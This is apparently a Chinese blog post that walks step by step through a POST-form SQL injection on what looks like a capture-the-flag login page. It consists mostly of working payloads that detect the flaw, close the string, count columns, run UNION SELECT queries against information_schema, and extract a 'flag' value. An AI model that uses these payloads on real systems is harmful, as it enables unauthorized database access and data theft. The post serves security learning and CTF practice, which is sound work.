POST注入流程
2022/3/25 23:24:54
本文主要是介绍POST注入流程,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.判断是否存在注入
uname='&passwd=a&submit=Submit
错误回显 => 存在注入
2.判断参数类型
uname=1 or 1=1 #&passwd=a&submit=Submit
正确回显
uname=1" or 1=1 #&passwd=a&submit=Submit
错误回显 => 字符型
3.进行参数闭合
uname=1" or 1=1 #&passwd=a&submit=Submit
错误回显
uname=1") or 1=1#&passwd=a&submit=Submit
登录回显 => 闭合成功
4.查看这个网站后台数据库所在的表有几列
uname=' or 1=1 order by 2#&passwd=a&submit=Submit
正确回显
uname=' or 1=1 order by 3#&passwd=a&submit=Submit
错误回显 => 有2列
5.进行 union select联合查询,发现输出位
uname='union select 1,2#&passwd=a&submit=Submit
6.查看所在数据库和数据库版本
uname='union select database(),version()#&passwd=a&submit=Submit
7.查看数据库的表
uname='union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=a&submit=Submit
8.查看DPXE2rot表中的列
uname='union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="DPXE2rot" #&passwd=a&submit=Submit
9.查看表中的flag列中的数据
uname='union select 1,flag from DPXE2rot limit 3,1 #&passwd=a&submit=Submit
这篇关于POST注入流程的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-15鸿蒙生态设备数量超8亿台
- 2024-05-13TiDB + ES:转转业财系统亿级数据存储优化实践
- 2024-05-09“2024鸿蒙零基础快速实战-仿抖音App开发(ArkTS版)”实战课程已上线
- 2024-05-09聊聊如何通过arthas-tunnel-server来远程管理所有需要arthas监控的应用
- 2024-05-09log4j2这么配就对了
- 2024-05-09nginx修改Content-Type
- 2024-05-09Redis多数据源,看这篇就够了
- 2024-05-09Google Chrome驱动程序 124.0.6367.62(正式版本)去哪下载?
- 2024-05-09有没有大佬知道这种数据应该怎么抓取呀?
- 2024-05-09这种运行结果里的10.100000001,怎么能最快改成10.1?